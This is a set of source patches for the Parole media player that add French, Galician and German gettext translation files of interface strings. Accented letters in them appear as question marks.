+msgid "Tray icon plugin"
+msgstr "Greffon d'ic?ne de la zone de notification"
+
+#: ../plugins/tray/tray-icon.c:356
+msgid "Enable notification"
+msgstr "Activer les notifications"
+
+#. Construct function
+#: ../plugins/tray/tray-icon.c:427
+#, fuzzy
+msgid "Tray icon"
+msgstr "Ic?ne de la zone de notification"
+
+#. Title
+#: ../plugins/tray/tray-icon.c:428
+#, fuzzy
+msgid "Show icon in the system tray"
+msgstr "Montrer une ic?ne dans la zone de notification"
+
+#. Construct function
+#: ../plugins/window-title/window-title.c:102
+#, fuzzy
+msgid "Window title"
+msgstr "Titre de la Fen?tre"
+
+#. Title
+#: ../plugins/window-title/window-title.c:103
+#, fuzzy
+msgid ""
+"Set the main window name to the current\n"
+" playing media name."
+msgstr ""
+"D?finir le nom de la fen?tre principale au nom\n"
+" du m?dia en cours de lecture"
+
--
cgit v0.8.2.1

parole-0.1.90-include-galician-translation.patch:
 gl.po |  721 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 1 file changed, 720 insertions(+), 1 deletion(-)

--- NEW FILE parole-0.1.90-include-galician-translation.patch ---
>From df8ad0098db0d1bc1a2f08b89554607e8ec85b19 Mon Sep 17 00:00:00 2001
From: Leandro Regueiro <leandro.regueiro at gmail.com>
Date: Tue, 06 Oct 2009 11:32:08 +0000
Subject: l10n: created galician translation

Transmitted-via: Transifex (translations.xfce.org)
---
diff --git a/po/gl.po b/po/gl.po
new file mode 100644
index 0000000..59ed33a
--- a/dev/null
+++ b/po/gl.po
@@ -0,0 +1,720 @@
+# Galician translation of notification-daemon-xfce
+# Copyright (C) 2009 Leandro Regueiro.
+# This file is distributed under the same license as the Xfce package.
+#
+# Leandro Regueiro <leandro DOT regueiro AT gmail DOT com>, 2009.
+#
+# Proxecto Trasno - Adaptaci?n do software libre ? lingua galega:  Se desexas
+# colaborar connosco, podes atopar m?is informaci?n en <http://trasno.net>
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: Parole 0.1\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-08-16 16:02+0200\n"
+"PO-Revision-Date: 2009-10-04 14:50+0100\n"
+"Last-Translator: Leandro Regueiro <leandro.regueiro at gmail.com>\n"
+"Language-Team: Galician <proxecto at trasno.net>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=(n != 1);\n"
+
+#: ../data/interfaces/parole.ui.h:1
+msgid "16:9 (Widescreen)"
+msgstr "16:9 (Panor?mico)"
+
+#: ../data/interfaces/parole.ui.h:2
+msgid "20:9 (DVB)"
+msgstr "20:9 (DVB)"
+
+#: ../data/interfaces/parole.ui.h:3
+msgid "4:3 (TV)"
+msgstr "4:3 (TV)"
+
+#: ../data/interfaces/parole.ui.h:4
+#, fuzzy
+msgid "Aspect Ratio"
+msgstr "Proporci?n de aspecto:"
+
+#: ../data/interfaces/parole.ui.h:5
+#, fuzzy
+msgid "Auto"
+msgstr "Autom?tico"
+
+#: ../data/interfaces/parole.ui.h:6
+msgid "Chapter Menu"
+msgstr "Men? de cap?tulos"
+
+#: ../data/interfaces/parole.ui.h:7
+msgid "DVD Menu"
+msgstr "Men? do DVD"
+
+#: ../data/interfaces/parole.ui.h:8
+#: ../parole/parole-player.c:288
+msgid "Hide playlist"
+msgstr "Ocultar a lista de reproduci?n"
+
+#: ../data/interfaces/parole.ui.h:9
+msgid "Media player"
+msgstr "Reprodutor multimedia"
+
+#: ../data/interfaces/parole.ui.h:10
+msgid "Mute"
+msgstr "Silencio"
+
+#: ../data/interfaces/parole.ui.h:11
+#: ../parole/parole-player.c:1002
+#: ../parole/parole-disc-menu.c:113
+msgid "Next Chapter"
+msgstr "Cap?tulo seguinte"
+
+#: ../data/interfaces/parole.ui.h:12
+#, fuzzy
+msgid "None"
+msgstr "Ningunha"
+
+#: ../data/interfaces/parole.ui.h:13
+#: ../data/desktop/parole.desktop.in.in.h:1
+#: ../parole/parole-player.c:225
+#: ../parole/parole-about.c:51
+#: ../plugins/window-title/window-title.c:40
+msgid "Parole Media Player"
+msgstr "Reprodutor multimedia Parole"
+
+#: ../data/interfaces/parole.ui.h:14
+msgid "Plugins"
+msgstr "Engadidos"
+
+#: ../data/interfaces/parole.ui.h:15
+#: ../parole/parole-player.c:1014
+#: ../parole/parole-disc-menu.c:114
+msgid "Previous Chapter"
+msgstr "Cap?tulo anterior"
+
+#: ../data/interfaces/parole.ui.h:16
+msgid "Repeat"
+msgstr "Repetir"
+
+#: ../data/interfaces/parole.ui.h:17
+msgid "Select Track"
+msgstr "Escoller pista"
+
+#: ../data/interfaces/parole.ui.h:18
+msgid "Shuffle"
+msgstr "Aleatorio"
+
+#: ../data/interfaces/parole.ui.h:19
+msgid "Sound"
+msgstr "Son"
+
+#: ../data/interfaces/parole.ui.h:20
+msgid "Square"
+msgstr "Cadrado"
+
+#: ../data/interfaces/parole.ui.h:21
+msgid "Volume Down"
+msgstr "Baixar o volume"
+
+#: ../data/interfaces/parole.ui.h:22
+msgid "Volume Up"
+msgstr "Subir o volume"
+
+#: ../data/interfaces/parole.ui.h:23
+msgid "_Edit"
+msgstr "_Editar"
+
+#: ../data/interfaces/parole.ui.h:24
+msgid "_Help"
+msgstr "A_xuda"
+
+#: ../data/interfaces/parole.ui.h:25
+msgid "_Media"
+msgstr "_Soportes"
+
+#: ../data/interfaces/parole.ui.h:26
+msgid "_View"
+msgstr "_Ver"
+
+#: ../data/interfaces/parole.ui.h:27
+#, fuzzy
+msgid "gtk-leave-fullscreen"
+msgstr "Sa?r do modo de pantalla completa"
+
+#: ../data/interfaces/plugins.ui.h:1
+msgid "<b>Author:</b>"
+msgstr "<b>Autor?a:</b>"
+
+#: ../data/interfaces/plugins.ui.h:2
+msgid "<b>Description:</b>"
+msgstr "<b>Descrici?n:</b>"
+
+#: ../data/interfaces/plugins.ui.h:3
+msgid "<b>Site:</b>"
+msgstr "<b>Sitio:</b>"
+
+#: ../data/interfaces/plugins.ui.h:4
+msgid "Parole Plugins Preferences"
+msgstr "Preferencias dos engadidos de Parole"
+
+#: ../data/interfaces/plugins.ui.h:5
+#, fuzzy
+msgid "gtk-close"
+msgstr "Pechar composici?n"
+
+#: ../data/interfaces/plugins.ui.h:6
+#, fuzzy
+msgid "gtk-properties"
+msgstr "Propiedades do men?"
+
+#: ../data/interfaces/parole-settings.ui.h:1
+msgid "<b>Audio</b>"
+msgstr "<b>Son</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:2
+#, fuzzy
+msgid "<b>Display</b>"
+msgstr "<b>Mostrar</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:3
+msgid "<b>Subtitles</b>"
+msgstr "<b>Subt?tulos</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:4
+msgid "Automatically load subtitles when playing movie file"
+msgstr ""
+
+#: ../data/interfaces/parole-settings.ui.h:5
+msgid "Brightness:"
+msgstr "Brillo:"
+
+#: ../data/interfaces/parole-settings.ui.h:6
+msgid "Contrast:"
+msgstr "Contraste:"
+
+#: ../data/interfaces/parole-settings.ui.h:7
+#, fuzzy
+msgid "Enable visualization when playing audio file"
+msgstr "Mostrar os efectos visuais cando se reproduza un ficheiro s? de son."
+
+#: ../data/interfaces/parole-settings.ui.h:8
+msgid "Encoding: "
+msgstr "Codificaci?n: "
+
+#: ../data/interfaces/parole-settings.ui.h:9
+msgid "Font:"
+msgstr "Tipo de letra:"
+
+#: ../data/interfaces/parole-settings.ui.h:10
+#, fuzzy
+msgid "Hue:"
+msgstr "Tinte:"
+
+#: ../data/interfaces/parole-settings.ui.h:11
+#, fuzzy
+msgid "Media Player Settings"
+msgstr "Reprodutor de m?sica Banshee"
+
+#: ../data/interfaces/parole-settings.ui.h:12
+msgid "Parole Settings"
+msgstr "Axustes de Parole"
+
+#: ../data/interfaces/parole-settings.ui.h:13
+msgid "Reset To Defaults"
+msgstr "Restablecer as predefinici?ns"
+
+#: ../data/interfaces/parole-settings.ui.h:14
+msgid "Saturation:"
+msgstr "Saturaci?n:"
+
+#: ../data/interfaces/parole-settings.ui.h:15
+#, fuzzy
+msgid "Visualization type:"
+msgstr "Tipo de borrado"
+
+#: ../data/interfaces/save-playlist.ui.h:1
+msgid "By Extension"
+msgstr "Por extensi?n"
+
+#: ../data/interfaces/save-playlist.ui.h:2
+msgid "Select File Types (By Extension)"
+msgstr ""
+
+#: ../parole/main.c:52
+#, c-format
+msgid ""
+"\n"
+"Parole Media Player %s\n"
+"\n"
+"Part of the Xfce Goodies Project\n"
+"http://goodies.xfce.org\n"
+"\n"
+"Licensed under the GNU GPL.\n"
+"\n"
+msgstr ""
+
+#: ../parole/main.c:156
+#, fuzzy
+msgid "Open a new instance"
+msgstr "Abrir un separador novo"
+
+#: ../parole/main.c:157
+msgid "Version information"
+msgstr "Informaci?n de versi?n"
+
+#: ../parole/main.c:158
+#, fuzzy
+msgid "Media to play"
+msgstr "URI para reproducir"
+
+#: ../parole/main.c:193
+#, c-format
+msgid "Parole is already running, use -i to open a new instance\n"
+msgstr ""
+
+#: ../parole/parole-gst.c:1289
+msgid "Unable to load playbin GStreamer plugin, check your GStreamer installation"
+msgstr ""
+
+#: ../parole/parole-gst.c:1305
+msgid "Unable to load video GStreamer plugin, check your GStreamer installation"
+msgstr ""
+
+#: ../parole/parole-gst.c:1501
+msgid "The stream is tacking too much time to load"
+msgstr ""
+
+#: ../parole/parole-gst.c:1501
+msgid "Stop"
+msgstr "Deter"
+
+#: ../parole/parole-mediachooser.c:154
+#, fuzzy
+msgid "Add media files"
+msgstr "Engadir ficheiros ao proxecto"
+
+#: ../parole/parole-mediachooser.c:173
+msgid "Add"
+msgstr "Engadir"
+
+#: ../parole/parole-medialist.c:432
+msgid "Error saving playlist file"
+msgstr "Erro ao gardar o ficheiro de lista de reproduci?n"
+
+#: ../parole/parole-medialist.c:432
+msgid "Permission denied"
+msgstr "Permiso denegado"
+
+#: ../parole/parole-medialist.c:441
+msgid "Unknown playlist format, Please select a support playlist format"
+msgstr ""
+
+#: ../parole/parole-medialist.c:507
+#: ../parole/parole-player.c:1542
+msgid "Playlist"
+msgstr "Lista de reproduci?n"
+
+#: ../parole/parole-medialist.c:514
+#, fuzzy
+msgid "M3U Playlists"
+msgstr "Soporta listas de reproduci?n"
+
+#: ../parole/parole-medialist.c:522
+#, fuzzy
+msgid "PLS Playlists"
+msgstr "Soporta listas de reproduci?n"
+
+#: ../parole/parole-medialist.c:530
+#, fuzzy
+msgid "Advanced Stream Redirector"
+msgstr "Comentar ou descomentar en _fluxo"
+
+#: ../parole/parole-medialist.c:538
+#, fuzzy
+msgid "Shareable Playlist"
+msgstr "Lista de reproduci?n XML compart?bel"
+
+#: ../parole/parole-medialist.c:853
+#, fuzzy
+msgid "Remember playlist"
+msgstr "Eliminar a lista de reproduci?n"
+
+#: ../parole/parole-medialist.c:1003
+#, fuzzy
+msgid "Media list"
+msgstr "Lista de vari?beis"
+
+#: ../parole/parole-player.c:297
+#, fuzzy
+msgid "Show playlist"
+msgstr "Amosar a a lista de re_produci?n"
+
+#: ../parole/parole-player.c:507
+#, fuzzy
+msgid "Media stream is not seekable"
+msgstr "A canci?n actual non se pode buscar"
+
+#.
+#. * Next chapter menu item
+#.
+#: ../parole/parole-player.c:1002
+#: ../parole/parole-disc-menu.c:122
+msgid "Next Track"
+msgstr "Seguinte pista"
+
+#.
+#. * Previous chapter menu item
+#.
+#: ../parole/parole-player.c:1014
+#: ../parole/parole-disc-menu.c:123
+msgid "Previous Track"
+msgstr "Pista anterior"
+
+#: ../parole/parole-statusbar.c:60
+msgid "Buffering"
+msgstr "Almacenando no b?fer"
+
+#: ../parole/parole-statusbar.c:77
+msgid "Stopped"
+msgstr "Detido"
+
+#: ../parole/parole-statusbar.c:81
+msgid "Finished"
+msgstr "Finalizado"
+
+#: ../parole/parole-statusbar.c:88
+#: ../parole/parole-statusbar.c:96
+msgid "Paused"
+msgstr "Pausado"
+
+#: ../parole/parole-statusbar.c:117
+#, fuzzy
+msgid "Live stream:"
+msgstr "Fluxo desco?ecido"
+
+#: ../parole/parole-filters.c:57
+msgid "Audio"
+msgstr "Son"
+
+#: ../parole/parole-filters.c:75
+msgid "Video"
+msgstr "V?deo"
+
+#: ../parole/parole-filters.c:93
+msgid "Audio and video"
+msgstr "Son e v?deo"
+
+#: ../parole/parole-filters.c:111
+#, fuzzy
+msgid "All supported files"
+msgstr "Pechar todos os ficheiros"
+
+#: ../parole/parole-filters.c:127
+#, fuzzy
+msgid "Playlist files"
+msgstr "Todos os ficheros"
+
+#: ../parole/parole-about.c:56
+msgid "Author/Maintainer"
+msgstr "Autor/Mantedor"
+
+#: ../parole/parole-about.c:62
+#, fuzzy, c-format
+msgid "Translator (%s)"
+msgstr "Tradutor (%s)"
+
+#: ../parole/parole-disc.c:202
+#, fuzzy
+msgid "Play Disc"
+msgstr "Reproducir o disco '%s'"
+
+#: ../parole/parole-subtitle-encoding.c:165
+#, fuzzy
+msgid "Current Locale"
+msgstr "Configuraci?n rexional actual"
+
+#: ../parole/parole-subtitle-encoding.c:168
+#: ../parole/parole-subtitle-encoding.c:170
+#: ../parole/parole-subtitle-encoding.c:172
+#: ../parole/parole-subtitle-encoding.c:174
+msgid "Arabic"
+msgstr "?rabe"
+
+#: ../parole/parole-subtitle-encoding.c:177
+msgid "Armenian"
+msgstr "Armenio"
+
+#: ../parole/parole-subtitle-encoding.c:180
+#: ../parole/parole-subtitle-encoding.c:182
+#: ../parole/parole-subtitle-encoding.c:184
+msgid "Baltic"
+msgstr "B?ltico"
+
+#: ../parole/parole-subtitle-encoding.c:187
+msgid "Celtic"
+msgstr "Celta"
+
+#: ../parole/parole-subtitle-encoding.c:190
+#: ../parole/parole-subtitle-encoding.c:192
+#: ../parole/parole-subtitle-encoding.c:194
+#: ../parole/parole-subtitle-encoding.c:196
+msgid "Central European"
+msgstr "Centroeuropeo"
+
+#: ../parole/parole-subtitle-encoding.c:199
+#: ../parole/parole-subtitle-encoding.c:201
+#: ../parole/parole-subtitle-encoding.c:203
+#: ../parole/parole-subtitle-encoding.c:205
+msgid "Chinese Simplified"
+msgstr "Chin?s simplificado"
+
+#: ../parole/parole-subtitle-encoding.c:208
+#: ../parole/parole-subtitle-encoding.c:210
+#: ../parole/parole-subtitle-encoding.c:212
+msgid "Chinese Traditional"
+msgstr "Chin?s tradicional"
+
+#: ../parole/parole-subtitle-encoding.c:215
+msgid "Croatian"
+msgstr "Croata"
+
+#: ../parole/parole-subtitle-encoding.c:218
+#: ../parole/parole-subtitle-encoding.c:220
+#: ../parole/parole-subtitle-encoding.c:222
+#: ../parole/parole-subtitle-encoding.c:224
+#: ../parole/parole-subtitle-encoding.c:226
+#: ../parole/parole-subtitle-encoding.c:228
+msgid "Cyrillic"
+msgstr "Cir?lico"
+
+#: ../parole/parole-subtitle-encoding.c:231
+msgid "Cyrillic/Russian"
+msgstr "Cir?lico/Ruso"
+
+#: ../parole/parole-subtitle-encoding.c:234
+#: ../parole/parole-subtitle-encoding.c:236
+msgid "Cyrillic/Ukrainian"
+msgstr "Cir?lico/Ucra?no"
+
+#: ../parole/parole-subtitle-encoding.c:239
+msgid "Georgian"
+msgstr "Xeorxiano"
+
+#: ../parole/parole-subtitle-encoding.c:242
+#: ../parole/parole-subtitle-encoding.c:244
+#: ../parole/parole-subtitle-encoding.c:246
+msgid "Greek"
+msgstr "Grego"
+
+#: ../parole/parole-subtitle-encoding.c:249
+#, fuzzy
+msgid "Gujarati"
+msgstr "Guxarati"
+
+#: ../parole/parole-subtitle-encoding.c:252
+#, fuzzy
+msgid "Gurmukhi"
+msgstr "Gurmukhi"
+
+#: ../parole/parole-subtitle-encoding.c:255
+#: ../parole/parole-subtitle-encoding.c:257
+#: ../parole/parole-subtitle-encoding.c:259
+#: ../parole/parole-subtitle-encoding.c:261
+msgid "Hebrew"
+msgstr "Hebreo"
+
+#: ../parole/parole-subtitle-encoding.c:264
+#, fuzzy
+msgid "Hebrew Visual"
+msgstr "Hebreo visual"
+
+#: ../parole/parole-subtitle-encoding.c:267
+msgid "Hindi"
+msgstr "Hindi"
+
+#: ../parole/parole-subtitle-encoding.c:270
+msgid "Icelandic"
+msgstr "Island?s"
+
+#: ../parole/parole-subtitle-encoding.c:273
+#: ../parole/parole-subtitle-encoding.c:275
+#: ../parole/parole-subtitle-encoding.c:277
+msgid "Japanese"
+msgstr "Xapon?s"
+
+#: ../parole/parole-subtitle-encoding.c:280
+#: ../parole/parole-subtitle-encoding.c:282
+#: ../parole/parole-subtitle-encoding.c:284
+#: ../parole/parole-subtitle-encoding.c:286
+msgid "Korean"
+msgstr "Coreano"
+
+#: ../parole/parole-subtitle-encoding.c:289
+msgid "Nordic"
+msgstr "N?rdico"
+
+#: ../parole/parole-subtitle-encoding.c:292
+msgid "Persian"
+msgstr "Persa"
+
+#: ../parole/parole-subtitle-encoding.c:295
+#: ../parole/parole-subtitle-encoding.c:297
+msgid "Romanian"
+msgstr "Roman?s"
+
+#: ../parole/parole-subtitle-encoding.c:300
+#, fuzzy
+msgid "South European"
+msgstr "Sureuropeo"
+
+#: ../parole/parole-subtitle-encoding.c:303
+msgid "Thai"
+msgstr "Tailand?s"
+
+#: ../parole/parole-subtitle-encoding.c:306
+#: ../parole/parole-subtitle-encoding.c:308
+#: ../parole/parole-subtitle-encoding.c:310
+#: ../parole/parole-subtitle-encoding.c:312
+msgid "Turkish"
+msgstr "Turco"
+
+#: ../parole/parole-subtitle-encoding.c:315
+#: ../parole/parole-subtitle-encoding.c:317
+#: ../parole/parole-subtitle-encoding.c:319
+#: ../parole/parole-subtitle-encoding.c:321
+#: ../parole/parole-subtitle-encoding.c:323
+msgid "Unicode"
+msgstr "Unicode"
+
+#: ../parole/parole-subtitle-encoding.c:326
+#: ../parole/parole-subtitle-encoding.c:328
+#: ../parole/parole-subtitle-encoding.c:330
+#: ../parole/parole-subtitle-encoding.c:332
+#: ../parole/parole-subtitle-encoding.c:334
+msgid "Western"
+msgstr "Occidental"
+
+#: ../parole/parole-subtitle-encoding.c:337
+#: ../parole/parole-subtitle-encoding.c:339
+#: ../parole/parole-subtitle-encoding.c:341
+msgid "Vietnamese"
+msgstr "Vietnamita"
+
+#: ../parole/parole-open-location.c:181
+msgid "Open location..."
+msgstr "Abrir localizaci?n..."
+
+#: ../parole/parole-open-location.c:186
+msgid "<b>Open location of media file or live stream:</b>"
+msgstr ""
+
+#: ../parole/parole-open-location.c:205
+msgid "Clear history"
+msgstr "Limpar o historial"
+
+#: ../parole/parole-disc-menu.c:130
+msgid "Playing Track"
+msgstr "A reproducir a pista"
+
+#: ../parole/parole-disc-menu.c:194
+#, c-format
+msgid "Track %i"
+msgstr "Pista %i"
+
+#: ../parole/parole-plugins-manager.c:227
+msgid "Visit Website"
+msgstr "Visitar o sitio web"
+
+#: ../parole/parole-plugins-manager.c:285
+#, fuzzy
+msgid "Visite Website"
+msgstr "P?xina web de Banshee"
+
+#: ../plugins/properties/stream-properties.c:121
+#: ../plugins/properties/stream-properties.c:122
+#: ../plugins/properties/stream-properties.c:123
+#: ../plugins/properties/stream-properties.c:124
+msgid "Unknown"
+msgstr "Desco?ecido"
+
+#: ../plugins/properties/stream-properties.c:220
+msgid "Title:"
+msgstr "T?tulo:"
+
+#: ../plugins/properties/stream-properties.c:243
+msgid "Artist:"
+msgstr "Artista:"
+
+#: ../plugins/properties/stream-properties.c:266
+msgid "Album:"
+msgstr "?lbum:"
+
+#: ../plugins/properties/stream-properties.c:289
+msgid "Year:"
+msgstr "Ano:"
+
+#: ../plugins/properties/stream-properties.c:307
+msgid "General"
+msgstr "Xeral"
+
+#: ../plugins/properties/stream-properties.c:354
+#, fuzzy
+msgid "Stream doesn't support tags changes"
+msgstr "O fluxo non soporta query_info"
+
+#: ../plugins/properties/stream-properties.c:361
+#, fuzzy
+msgid "Save media tags changes"
+msgstr "Non se poden gardar as modificaci?ns na conta."
+
+#. Construct function
+#: ../plugins/properties/stream-properties.c:485
+msgid "Properties"
+msgstr "Propiedades"
+
+#. Title
+#: ../plugins/properties/stream-properties.c:486
+#, fuzzy
+msgid "Read media properties"
+msgstr "Propiedades do elemento de men?"
+
+#: ../plugins/tray/tray-icon.c:222
+msgid "<b>Playing:</b>"
+msgstr "<b>Reproducindo:</b>"
+
+#: ../plugins/tray/tray-icon.c:222
+msgid "<b>Duration:</b>"
+msgstr "<b>Duraci?n:</b>"
+
+#: ../plugins/tray/tray-icon.c:347
+#, fuzzy
+msgid "Tray icon plugin"
+msgstr "Icona de estado:"
+
+#: ../plugins/tray/tray-icon.c:356
+msgid "Enable notification"
+msgstr "Activar as notificaci?ns"
+
+#. Construct function
+#: ../plugins/tray/tray-icon.c:427
+#, fuzzy
+msgid "Tray icon"
+msgstr "Icona de estado:"
+
+#. Title
+#: ../plugins/tray/tray-icon.c:428
+msgid "Show icon in the system tray"
+msgstr "Mostrar a icona na ?rea de notificaci?n"
+
+#. Construct function
+#: ../plugins/window-title/window-title.c:102
+msgid "Window title"
+msgstr "T?tulo da fiestra"
+
+#. Title
+#: ../plugins/window-title/window-title.c:103
+msgid ""
+"Set the main window name to the current\n"
+" playing media name."
+msgstr ""
+
--
cgit v0.8.2.1

parole-0.1.90-include-german-translation.patch:
 LINGUAS |    2 
 de.po   |  751 +++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 2 files changed, 751 insertions(+), 2 deletions(-)

--- NEW FILE parole-0.1.90-include-german-translation.patch ---
>From c30195f5b7d372f207d039b07d348d795886d926 Mon Sep 17 00:00:00 2001
From: Ali Abdallah <ali at ali-xfce.org>
Date: Wed, 07 Oct 2009 08:35:21 +0000
Subject: Added German transaltion

---
diff --git a/po/LINGUAS b/po/LINGUAS
index 97fa9f4..78da3e1 100644
--- a/po/LINGUAS
+++ b/po/LINGUAS
@@ -1,2 +1,2 @@
 # set of available languages (in alphabetic order)
-ast da es id ja ru sk tr uk
+ast da de es fr id ja ru sk tr uk
diff --git a/po/de.po b/po/de.po
new file mode 100644
index 0000000..35832c6
--- a/dev/null
+++ b/po/de.po
@@ -0,0 +1,750 @@
+# German translation of Parole.
+# Copyright (C) 2009 Parole's COPYRIGHT HOLDER
+# This file is distributed under the same license as the Parole package.
+# Mario Bl?ttermann <mariobl at gnome.org>, 2009.
+#
+msgid ""
+msgstr ""
+"Project-Id-Version: parole master\n"
+"Report-Msgid-Bugs-To: \n"
+"POT-Creation-Date: 2009-10-06 15:54+0000\n"
+"PO-Revision-Date: 2009-10-06 22:56+0100\n"
+"Last-Translator: Mario Bl?ttermann <mariobl at gnome.org>\n"
+"Language-Team: German <gnome-de at gnome.org>\n"
+"MIME-Version: 1.0\n"
+"Content-Type: text/plain; charset=UTF-8\n"
+"Content-Transfer-Encoding: 8bit\n"
+"Plural-Forms: nplurals=2; plural=(n != 1)\n"
+"X-Poedit-Language: German\n"
+"X-Poedit-Country: GERMANY\n"
+
+#: ../data/interfaces/parole.ui.h:1
+msgid "16:9 (Widescreen)"
+msgstr "16:9 (Breitbild)"
+
+#: ../data/interfaces/parole.ui.h:2
+msgid "20:9 (DVB)"
+msgstr "20:9 (DVB)"
+
+#: ../data/interfaces/parole.ui.h:3
+msgid "4:3 (TV)"
+msgstr "4:3 (TV)"
+
+#: ../data/interfaces/parole.ui.h:4
+msgid "Aspect Ratio"
+msgstr "Seitenverh?ltnis"
+
+#: ../data/interfaces/parole.ui.h:5
+msgid "Auto"
+msgstr "Automatisch"
+
+#: ../data/interfaces/parole.ui.h:6
+msgid "Chapter Menu"
+msgstr "Kapitelmen?"
+
+#: ../data/interfaces/parole.ui.h:7
+msgid "DVD Menu"
+msgstr "DVD-Men?"
+
+#: ../data/interfaces/parole.ui.h:8
+msgid "Media player"
+msgstr "Medien-Abspieler"
+
+#: ../data/interfaces/parole.ui.h:9
+msgid "Mute"
+msgstr "Stumm"
+
+#: ../data/interfaces/parole.ui.h:10 ../parole/parole-player.c:1047
+#: ../parole/parole-disc-menu.c:113
+msgid "Next Chapter"
+msgstr "N?chstes Kapitel/Film"
+
+#: ../data/interfaces/parole.ui.h:11
+msgid "None"
+msgstr "Kein"
+
+#: ../data/interfaces/parole.ui.h:12 ../data/desktop/parole.desktop.in.in.h:1
+#: ../parole/parole-player.c:234 ../parole/parole-about.c:51
+#: ../plugins/window-title/window-title.c:40
+msgid "Parole Media Player"
+msgstr "Parole Medien-Abspieler"
+
+#: ../data/interfaces/parole.ui.h:13
+msgid "Plugins"
+msgstr "Plugins"
+
+#: ../data/interfaces/parole.ui.h:14 ../parole/parole-player.c:1059
+#: ../parole/parole-disc-menu.c:114
+msgid "Previous Chapter"
+msgstr "Vorheriges Kapitel/Film"
+
+#: ../data/interfaces/parole.ui.h:15
+msgid "Repeat"
+msgstr "Endlosschleife"
+
+#: ../data/interfaces/parole.ui.h:16
+msgid "Select Track"
+msgstr "Titel ausw?hlen"
+
+#: ../data/interfaces/parole.ui.h:17
+msgid "Shuffle"
+msgstr "Zufallsmodus"
+
+#: ../data/interfaces/parole.ui.h:18
+msgid "Sound"
+msgstr "Sound"
+
+#: ../data/interfaces/parole.ui.h:19
+msgid "Square"
+msgstr "Quadratisch"
+
+#: ../data/interfaces/parole.ui.h:20
+msgid "Volume Down"
+msgstr "Leiser"
+
+#: ../data/interfaces/parole.ui.h:21
+msgid "Volume Up"
+msgstr "Lauter"
+
+#: ../data/interfaces/parole.ui.h:22
+msgid "_Edit"
+msgstr "_Bearbeiten"
+
+#: ../data/interfaces/parole.ui.h:23
+msgid "_Help"
+msgstr "_Hilfe"
+
+#: ../data/interfaces/parole.ui.h:24
+msgid "_Media"
+msgstr "_Medien"
+
+#: ../data/interfaces/parole.ui.h:25
+msgid "_Open location"
+msgstr "_Ort ?ffnen"
+
+#: ../data/interfaces/parole.ui.h:26
+msgid "_View"
+msgstr "_Ansicht"
+
+#: ../data/interfaces/plugins.ui.h:1
+msgid "<b>Author:</b>"
+msgstr "<b>Autor:</b>"
+
+#: ../data/interfaces/plugins.ui.h:2
+msgid "<b>Description:</b>"
+msgstr "<b>Beschreibung:</b>"
+
+#: ../data/interfaces/plugins.ui.h:3
+msgid "<b>Site:</b>"
+msgstr "<b>Seite:</b>"
+
+#: ../data/interfaces/plugins.ui.h:4
+msgid "Enabled"
+msgstr "Aktiviert"
+
+#: ../data/interfaces/plugins.ui.h:5
+msgid "Media Player plugins"
+msgstr "Medien-Abspieler-Plugins"
+
+#: ../data/interfaces/plugins.ui.h:6
+msgid "Parole Plugins"
+msgstr "Parole-Plugins"
+
+#: ../data/interfaces/plugins.ui.h:7
+msgid "Plugin"
+msgstr "Plugin"
+
+#: ../data/interfaces/parole-settings.ui.h:1
+msgid "<b>Audio</b>"
+msgstr "<b>Audio</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:2
+msgid "<b>Display</b>"
+msgstr "<b>Anzeige</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:3
+msgid "<b>Subtitles</b>"
+msgstr "<b>Untertitel</b>"
+
+#: ../data/interfaces/parole-settings.ui.h:4
+msgid "Automatically load subtitles when playing movie file"
+msgstr "Untertitel automatisch laden, wenn ein Film wiedergegeben wird"
+
+#: ../data/interfaces/parole-settings.ui.h:5
+msgid "Brightness:"
+msgstr "Helligkeit:"
+
+#: ../data/interfaces/parole-settings.ui.h:6
+msgid "Contrast:"
+msgstr "Kontrast:"
+
+#: ../data/interfaces/parole-settings.ui.h:7
+msgid "Enable visualization when playing audio file"
+msgstr "Visuelle Effekte anzeigen, wenn eine Audio-Datei wiedergegeben wird"
+
+#: ../data/interfaces/parole-settings.ui.h:8
+msgid "Encoding: "
+msgstr "Kodierung:"
+
+#: ../data/interfaces/parole-settings.ui.h:9
+msgid "Font:"
+msgstr "Schrift:"
+
+#: ../data/interfaces/parole-settings.ui.h:10
+msgid "Hue:"
+msgstr "Farbton:"
+
+#: ../data/interfaces/parole-settings.ui.h:11
+msgid "Media Player Settings"
+msgstr "Medien-Abspieler-Einstellungen"
+
+#: ../data/interfaces/parole-settings.ui.h:12
+msgid "Parole Settings"
+msgstr "Parole-Einstellungen"
+
+#: ../data/interfaces/parole-settings.ui.h:13
+msgid "Reset To Defaults"
+msgstr "Auf Vorgaben zur?cksetzen"
+
+#: ../data/interfaces/parole-settings.ui.h:14
+msgid "Saturation:"
+msgstr "S?ttigung:"
+
+#: ../data/interfaces/parole-settings.ui.h:15
+msgid "Visualization type:"
+msgstr "Visualisierungstyp:"
+
+#: ../data/interfaces/save-playlist.ui.h:1
+msgid "By Extension"
+msgstr "Nach Dateierweiterung"
+
+#: ../data/interfaces/save-playlist.ui.h:2
+msgid "Select File Types (By Extension)"
+msgstr "Dateitypen ausw?hlen (nach Erweiterung)"
+
+#: ../parole/main.c:53
+#, c-format
+msgid ""
+"\n"
+"Parole Media Player %s\n"
+"\n"
+"Part of the Xfce Goodies Project\n"
+"http://goodies.xfce.org\n"
+"\n"
+"Licensed under the GNU GPL.\n"
+"\n"
+msgstr ""
+"\n"
+"Parole Medien-Abspieler %s\n"
+"\n"
+"Teil des Projekts Xfce-Goodies\n"
+"http://goodies.xfce.org\n"
+"\n"
+"Lizensiert unter der GNU GPL.\n"
+"\n"
+
+#: ../parole/main.c:184
+msgid "Open a new instance"
+msgstr "Eine neue Instanz ?ffnen"
+
+#: ../parole/main.c:185
+msgid "Play or pause if already playing"
+msgstr "Wiedergabe (oder Pause, falls Wiedergabe l?uft)"
+
+#: ../parole/main.c:186
+msgid "Stop playing"
+msgstr "Wiedergabe anhalten"
+
+#: ../parole/main.c:187
+msgid "Next track"
